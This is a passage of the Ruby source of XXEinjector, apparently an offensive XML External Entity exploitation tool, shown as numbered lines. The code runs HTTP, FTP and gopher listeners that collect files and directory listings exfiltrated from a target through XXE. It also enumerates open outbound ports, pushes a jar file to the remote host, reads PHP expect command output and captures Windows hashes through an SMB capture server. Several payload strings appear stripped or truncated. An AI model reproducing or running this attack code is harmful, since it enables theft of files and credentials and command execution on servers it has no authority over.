changes to Windows path 713 | if $cut == 0 714 | $path += '/' if $path[-1] == ":" 715 | $path = $path.gsub("\\", "/") 716 | end 717 | 718 | # configure payloads 719 | # DTD to inject 720 | $dtd = "%remote;%int;%trick;]>" 721 | # XSL to inject 722 | $xsl = "" 723 | 724 | # Starting servers 725 | begin 726 | if ($xslt == "n" && enumports == "" && $logger == "n") || ($logger == "y" && enum == "http") || ($direct != "" && cdata == "y") 727 | http = TCPServer.new http_port 728 | end 729 | if enum == "ftp" && $xslt == "n" && enumports == "" && $direct == "" 730 | ftp = TCPServer.new ftp_port 731 | end 732 | if enum == "gopher" && $xslt == "n" && enumports == "" && $direct == "" 733 | gopher = TCPServer.new gopher_port 734 | end 735 | if upload != "" 736 | jar = TCPServer.new jar_port 737 | end 738 | if $xslt == "y" 739 | xsltserv = TCPServer.new xslt_port 740 | end 741 | rescue Errno::EADDRINUSE 742 | puts "[-] Specified TCP ports already in use." 743 | exit(1) 744 | end 745 | 746 | # HTTP for XML serving and data retrival 747 | Thread.start do 748 | Thread.current.report_on_exception = false 749 | loop do 750 | Thread.start(http.accept) do |client| 751 | Thread.current.report_on_exception = false 752 | $done = 0 753 | $tmppath = $nextpath 754 | loop { 755 | 756 | params = {} 757 | req = client.gets() 758 | break if req.nil? 759 | 760 | # HTTP XML serving 761 | if req.include? "file.dtd" 762 | 763 | puts "[+] Got request for XML:\n#{req}\n" if $verbose == "y" 764 | 765 | if hashes == "n" && upload == "" && expect == "" 766 | if $cut == 1 767 | puts "[+] Responding with XML for: /#{enumpath}" 768 | else 769 | puts "[+] Responding with XML for: #{enumpath}" 770 | end 771 | else 772 | puts "[+] Responding with proper XML." 773 | end 774 | 775 | # respond with proper XML 776 | if cdata == "y" 777 | payload = "" 778 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 779 | elsif hashes == "y" 780 | payload = "\r\n\">" 781 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 782 | elsif upload != "" 783 | payload = "\r\n\">" 784 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 785 | elsif expect != "" 786 | if enum == "ftp" 787 | if phpfilter == "n" 788 | payload = "\r\n\">" 789 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 790 | else 791 | payload = "\r\n\">" 792 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 793 | end 794 | elsif enum == "http" 795 | if phpfilter == "n" 796 | payload = "\r\n\">" 797 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 798 | else 799 | payload = "\r\n\">" 800 | client.print("HTTP/1.1 200 OK\r\nContent-Type: application/xml\r\nContent-Length: #{payload.bytesize}\r\nConnection: close\r\n\r\n#{payload}") 801 | end 802 | end 803 | elsif enum == "ftp" && expect == "" 804 | if phpfilter == "n" 805 | payload = "\r\n\">" 806 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 807 | else 808 | payload = "\r\n\">" 809 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 810 | end 811 | elsif enum == "http" && expect == "" 812 | if phpfilter == "n" 813 | payload = "\r\n\">" 814 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 815 | else 816 | payload = "\r\n\">" 817 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 818 | end 819 | elsif enum == "gopher" && expect == "" 820 | payload = "\r\n\">" 821 | client.print("HTTP/1.1 200 OK\r\nContent-Length: #{payload.length}\r\nConnection: close\r\nContent-Type: application/xml\r\n\r\n#{payload}") 822 | end 823 | puts "[+] XML payload sent:\n#{payload}\n\n" if $verbose == "y" 824 | 825 | end 826 | 827 | # HTTP data retrival 828 | if req.include? "?p=" 829 | 830 | switch = 0 831 | puts "[+] Response with file/directory content received:\n" + req + "\n" if $verbose == "y" 832 | 833 | # retrieve p parameter value and respond 834 | req = req.sub("GET /?p=", "").split(" ")[0] 835 | client.print("HTTP/1.1 200 OK\r\nContent-Length: 6\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\nThanks") 836 | 837 | # base64 decode if parameter was encoded 838 | if phpfilter == "y" 839 | req = Base64.decode64(req) 840 | end 841 | 842 | # if PHP expect then print and exit 843 | if expect != "" 844 | puts "[+] Result of \"#{expect}\" command:\n" + req 845 | exit(1) 846 | end 847 | 848 | # set proper splitter 849 | splitter = "%0A" 850 | splitter = "\n" if phpfilter == "y" 851 | 852 | puts "[+] Retrieved data:" 853 | req.split(splitter).each do |param| 854 | 855 | # logging to file 856 | log(param + "\n") 857 | 858 | # push to array if directory listing is detected for further enumeration 859 | pusharr(param) 860 | end 861 | end 862 | 863 | client.close 864 | } 865 | end 866 | end 867 | end 868 | 869 | # FTP server to read files/directory listings and log to files 870 | if enum == "ftp" 871 | Thread.start do 872 | Thread.current.report_on_exception = false 873 | loop do 874 | Thread.start(ftp.accept) do |client| 875 | Thread.current.report_on_exception = false 876 | $done = 0 877 | switch = 0 878 | #puts "Response with file/directory content received. Enumeration unlocked." if $verbose == "y" 879 | $tmppath = $nextpath 880 | client.puts("220 XXEinjector Welcomes!") 881 | begin 882 | status = Timeout::timeout($contimeout) { 883 | loop { 884 | req = client.gets() 885 | break if req.nil? 886 | 887 | # respond with proper option 888 | if req.include? "LIST" 889 | client.puts("drwxrwxrwx 1 xxe xxe 1 Jan 01 01:01 xxe") 890 | client.puts("150 Opening BINARY mode data connection for /xxe") 891 | client.puts("226 Transfer complete") 892 | end 893 | if req.include? "USER" 894 | client.puts("331 password required") 895 | end 896 | if req.include? "PORT" 897 | client.puts("200 PORT command OK") 898 | else 899 | client.puts("230 Now you can send data") 900 | end 901 | 902 | # truncate requests to proper format and base64 decode if encoded 903 | if req.include? "RETR " 904 | req = req.split(' ')[1..-1].join(' ') 905 | req += "\n" 906 | end 907 | 908 | if phpfilter == "y" 909 | req = Base64.decode64(req) 910 | end 911 | 912 | # if PHP expect then print and exit 913 | if expect != "" 914 | puts "[+] Result of \"#{expect}\" command:\n" + req 915 | exit(1) 916 | end 917 | 918 | # logging to file 919 | log(req) 920 | 921 | # clear requests that are known to be not part of directory listing 922 | req = req.chomp 923 | if req.include?("CWD ") || req.match(/^USER /) || req.match(/^PASS /) || req == "TYPE I" || req.include?("EPSV") || req == "TYPE A" || req == "LIST" 924 | req = "" 925 | end 926 | 927 | # push to array if directory listing is detected for further enumeration 928 | pusharr(req) 929 | 930 | } 931 | } 932 | rescue Timeout::Error 933 | end 934 | client.close 935 | end 936 | end 937 | end 938 | end 939 | 940 | # gopher server to read files/directory listings and log to files 941 | if enum == "gopher" 942 | Thread.start do 943 | Thread.current.report_on_exception = false 944 | loop do 945 | Thread.start(gopher.accept) do |client| 946 | Thread.current.report_on_exception = false 947 | $done = 0 948 | switch = 0 949 | #puts "Response with file/directory content received. Enumeration unlocked." if $verbose == "y" 950 | $tmppath = $nextpath 951 | begin 952 | status = Timeout::timeout($contimeout) { 953 | loop { 954 | req = "" 955 | loop do 956 | tmp = client.gets() 957 | break if tmp.chomp == "" 958 | req += tmp 959 | end 960 | 961 | req.sub! 'gopher=', '' 962 | puts "[+] Retrieved data:" 963 | req.split("\n").each do |param| 964 | 965 | # logging to file 966 | log(param + "\n") 967 | 968 | # push to array if directory listing is detected for further enumeration 969 | pusharr(param) 970 | end 971 | 972 | } 973 | } 974 | rescue Timeout::Error 975 | end 976 | client.close 977 | end 978 | end 979 | end 980 | end 981 | 982 | # logger 983 | if $logger == "y" 984 | puts "[+] You can now make requests." 985 | puts "[+] Enter \"exit\" to quit." 986 | loop do 987 | cmp = Readline.readline("> ", true) 988 | exit(1) if cmp.chomp == "exit" 989 | end 990 | end 991 | 992 | # unfiltered ports enumeration 993 | if enumports != "" 994 | ports = "" 995 | 996 | # enumerating all ports 997 | if enumports == "all" 998 | j = 1 999 | while j <= 65535 do 1000 | $dtd = "%remote;]>" 1001 | begin 1002 | Thread.start do 1003 | Thread.current.report_on_exception = false 1004 | loop do 1005 | enum = TCPServer.new j 1006 | Thread.start(enum.accept) do |client| 1007 | Thread.current.report_on_exception = false 1008 | ports += String(j) + "," 1009 | client.close 1010 | break 1011 | end 1012 | end 1013 | end 1014 | configreq() 1015 | sendreq() 1016 | send2ndreq() if $secfile != "" 1017 | j = j + 1 1018 | rescue Errno::EADDRINUSE 1019 | puts "[-] Cannot bind to #{j} port." 1020 | end 1021 | end 1022 | 1023 | # enumerating only specified ports 1024 | else 1025 | tports = enumports.split(",") 1026 | tports.each do |tcpport| 1027 | $dtd = "%remote;]>" 1028 | begin 1029 | Thread.start do 1030 | Thread.current.report_on_exception = false 1031 | loop do 1032 | enum = TCPServer.new tcpport 1033 | Thread.start(enum.accept) do |client| 1034 | Thread.current.report_on_exception = false 1035 | ports += String(tcpport) + "," 1036 | client.close 1037 | break 1038 | end 1039 | end 1040 | end 1041 | configreq() 1042 | sendreq() 1043 | send2ndreq() if $secfile != "" 1044 | rescue Errno::EADDRINUSE 1045 | puts "[-] Cannot bind to #{tcpport} port." 1046 | end 1047 | end 1048 | end 1049 | if ports != "" 1050 | puts "[+] Unfiltered ports: " + ports[0..-2] 1051 | else 1052 | puts "[-] No unfiltered ports were identified." 1053 | end 1054 | exit(1) 1055 | else 1056 | if $direct == "" 1057 | configreq() 1058 | end 1059 | end 1060 | 1061 | # TCP server for uploading files using Java jar 1062 | if upload != "" 1063 | Thread.start do 1064 | Thread.current.report_on_exception = false 1065 | loop do 1066 | Thread.start(jar.accept) do |client| 1067 | Thread.current.report_on_exception = false 1068 | content = IO.binread(upload) 1069 | count = 0 1070 | puts "[+] File uploaded. Check temp directory on remote host for jar_cache*.tmp file. This file is available until connection is closed." 1071 | loop do 1072 | if count == 0 1073 | client.puts(content) 1074 | count = 1 1075 | end 1076 | sleep(10000) 1077 | end 1078 | end 1079 | end 1080 | end 1081 | sendreq() 1082 | loop do 1083 | sleep(10000) 1084 | end 1085 | end 1086 | 1087 | # TCP server for XSLT injection test 1088 | if $xslt == "y" 1089 | test = 0 1090 | Thread.start do 1091 | Thread.current.report_on_exception = false 1092 | loop do 1093 | Thread.start(xsltserv.accept) do |client| 1094 | Thread.current.report_on_exception = false 1095 | puts "[+] XSLT injection is working!" 1096 | client.close 1097 | exit(1) 1098 | end 1099 | end 1100 | end 1101 | sendreq() 1102 | send2ndreq() if $secfile != "" 1103 | sleep timeout 1104 | puts "[-] XSLT is not working." 1105 | exit(1) 1106 | end 1107 | 1108 | # Retriving Windows hashes 1109 | if hashes == "y" 1110 | puts "[+] Start msfconsole with auxiliary/server/capture/smb. Press enter when started." 1111 | Readline.readline("> ", true) 1112 | sendreq() 1113 | send2ndreq() if $secfile != "" 1114 | sleep(10) 1115 | puts "[+] Check msfconsole for hashes." 1116 | Readline.readline("> ", true) 1117 | exit(1) 1118 | end 1119 | 1120 | # Sending first request 1121 | if $brute == "" 1122 | if $direct == "" 1123 | enumpath = $path 1124 | switch = 1 1125 | #puts "Enumeration locked." if $verbose == "y" 1126 | sendreq() 1127 | send2ndreq() if $secfile != "" 1128 | else 1129 | $done = 0 1130 | $directpath = $path 1131 | configreq() 1132 | sendreq() 1133 | send2ndreq() if $secfile != "" 1134 | if !$response.body.include?("#{$direct.split(",")[0]}") 1135 | puts "[-] Response does not contain unique mark." 1136 | exit(1) 1137 | else 1138 | if $response.body.include?("#{$direct.split(",")[0]}#{$direct.split(",")[1]}") 1139 | puts "[-] File/directory could not be retrieved." 1140 | exit(1) 1141 | else 1142 | puts "[+] Retrieved data:" 1143 | 1144 | $response.body[/(#{$direct.split(",")[0]})(.*)(#{$direct.split(",")[1]})/m].gsub("#{$direct.split(",")[0]}", "\n").gsub("#{$direct.split(",")[1]}", "\n").split("\n").each do |param| 1145 | 1146 | # log to separate file 1147 | log(param + "\n") 1148 | 1149 | # push to array if directory listing is detected for further enumeration 1150 | param = param.chomp 1151 | if param.match $regex 1152 | $filenames.push(param) 1153 | puts "#{param}" 1154 | end 1155 | 1156 | end 1157 | end 1158 | end 1159 | end 1160 | 1161 | # Loop that checks if response with next file content was received by FTP/HTTP server 1162 | if $direct == "" 1163 | loop do 1164 | sleep timeout 1165 | if switch == 1 && hashes == "n" && upload == "" 1166 | puts "[-] FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? W/n" 1167 | cmp = Readline.readline("> ", true) 1168 | Readline::HISTORY.push 1169 | break if cmp == "n" || cmp == "N" 1170 | sleep timeout 1171 | else 1172 | break 1173 | end 1174 | end 1175 | end 1176 | end 1177 | 1178 | # read, ask and further enumerate 1179 | loop do 1180 | if $brute == "" 1181 | if !$filenames[i].nil? 1182 | 1183 | # Read next line 1184 | line = $filenames[i] 1185 | line = line.chomp 1186 | if $urlencode == "y" 1187 | line = line.gsub(' ','%20') 1188 | end 1189 | 1190 | # Check if a file should be enumerated 1191 | check = "#{$path}/#{line}".split("/")[0..-2].join('/') 1192 | 1193 | if enumall != "y" && !blacklist.include?(check) && !whitelist.include?(check) 1194 | if $cut == 0 1195 | if $path[-1] == "/" 1196 | puts "\nEnumerate #{$path}#{line}? Y/n/s/a/q" 1197 | else 1198 | puts "\nEnumerate #{$path}/#{line}? Y/n/s/a/q" 1199 | end 1200 | else 1201 | if $path == "" 1202 | puts "\nEnumerate /#{line}? Y/n/s/a/q" 1203 | else 1204 | puts "\nEnumerate /#{$path}/#{line}? Y/n/s/a/q" 1205 | end 1206 | end 1207 | cmp = Readline.readline("> ", true) 1208 | Readline::HISTORY.push 1209 | if cmp == "q" || cmp == "Q" 1210 | exit(1) 1211 | end 1212 | if cmp == "s" || cmp == "S" 1213 | blacklist.push("#{$path}/#{line}".split("/")[0..-2].join('/')) 1214 | end 1215 | if cmp == "a" || cmp == "A" 1216 | whitelist.push("#{$path}/#{line}".split("/")[0..-2].join('/')) 1217 | cmp = "y" 1218 | end 1219 | elsif enumall == "y" || whitelist.include?(check) 1220 | cmp = "y" 1221 | else 1222 | cmp = "n" 1223 | end 1224 | if cmp == "y" || cmp == "Y" || cmp == "" 1225 | if enumall != "y" && !whitelist.include?(check) 1226 | switch = 1 1227 | #puts "Enumeration locked." if $verbose == "y" 1228 | end 1229 | $nextpath = "#{line}" 1230 | 1231 | # Send request with next filename 1232 | if $direct != "" 1233 | if $path[-1] != "/" 1234 | $directpath = "#{$path}/#{line}" 1235 | else 1236 | $directpath = "#{$path}#{line}" 1237 | end 1238 | configreq() 1239 | else 1240 | if $path[-1] != "/" 1241 | enumpath = "#{$path}/#{line}" 1242 | else 1243 | enumpath = "#{$path}#{line}" 1244 | end 1245 | end 1246 | enumpath[0] = "" if enumpath[0] == "/" 1247 | sendreq() 1248 | send2ndreq() if $secfile != "" 1249 | 1250 | # Loop that checks if response with next file content was received by FTP/HTTP servers 1251 | if $direct == "" 1252 | loop do 1253 | sleep timeout 1254 | if switch == 1 1255 | puts "[-] FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? W/n" 1256 | cmp = Readline.readline("> ", true) 1257 | Readline::HISTORY.push 1258 | break if cmp == "n" || cmp == "N" 1259 | sleep timeout 1260 | else 1261 | break 1262 | end 1263 | end 1264 | else 1265 | if not $response.body.include?("#{$direct.split(",")[0]}") 1266 | puts "[-] Response does not contain unique mark." 1267 | else 1268 | if $response.body.include?("#{$direct.split(",")[0]}#{$direct.split(",")[1]}") 1269 | puts "[-] File/directory could not be retrieved." 1270 | else 1271 | $done = 0 1272 | puts "[+] Retrieved data:" 1273 | $response.body[/(#{$direct.split(",")[0]})(.*)(#{$direct.split(",")[1]})/m].gsub("#{$direct.split(",")[0]}", "\n").gsub("#{$direct.split(",")[1]}", "\n").split("\n").each do |param| 1274 | 1275 | # log to separate file 1276 | log(param + "\n") 1277 | 1278 | # push to array if directory listing is detected for further enumeration 1279 | pusharr(param) 1280 | 1281 | end 1282 | end 1283 | end 1284 | end 1285 | 1286 | end 1287 | i = i + 1 1288 | else 1289 | puts "[+] Nothing else to do. Exiting." 1290 | exit(1) 1291 | end 1292 | else 1293 | brutefile = File.open($brute, "r") 1294 | exit(1) if IO.readlines(brutefile)[i].nil? 1295 | 1296 | # Read next line 1297 | line = IO.readlines(brutefile)[i] 1298 | line = line.chomp 1299 | 1300 | log = File.open($output, "a") 1301 | log.write "\n" 1302 | log.write "Filename: #{line}\n" 1303 | log.close 1304 | 1305 | # handle unix and windows paths 1306 | if line[0] == "/" 1307 | line[0] = '' 1308 | $cut = 1 1309 | end 1310 | line = line.gsub("\\","/") 1311 | if line[-1] == "/" && line[-2] != ":" 1312 | line[-1] = '' 1313 | end 1314 | if line[-1] == ":" 1315 | line += '/' 1316 | end 1317 | 1318 | line = line.gsub(' ','%20') 1319 | 1320 | # Send request with next filename 1321 | if $direct == "" 1322 | enumpath = "#{line}" 1323 | else 1324 | $directpath = "#{line}" 1325 | configreq() 1326 | end 1327 | sendreq() 1328 | send2ndreq() if $secfile != "" 1329 | 1330 | if $direct != "" 1331 | if not $response.body.include?("#{$direct.split(",")[0]}") 1332 | puts "[-] Response does not contain unique mark." if $verbose == "y" 1333 | else 1334 | log = File.open($output, "a") 1335 | log.write $response.body[/(#{$direct.split(",")[0]})(.*)(#{$direct.split(",")[1]})/m].gsub("#{$direct.split(",")[0]}", "\n").gsub("#{$direct.split(",")[1]}", "\n") + "\n" 1336 | puts "[+] Bruteforced request logged: #{$directpath}" if $verbose == "y" 1337 | log.close 1338 | end 1339 | end 1340 | 1341 | i = i + 1 1342 | 1343 | brutefile.close 1344 | sleep timeout 1345 | end 1346 | end 1347 | 1348 | --------------------------------------------------------------------------------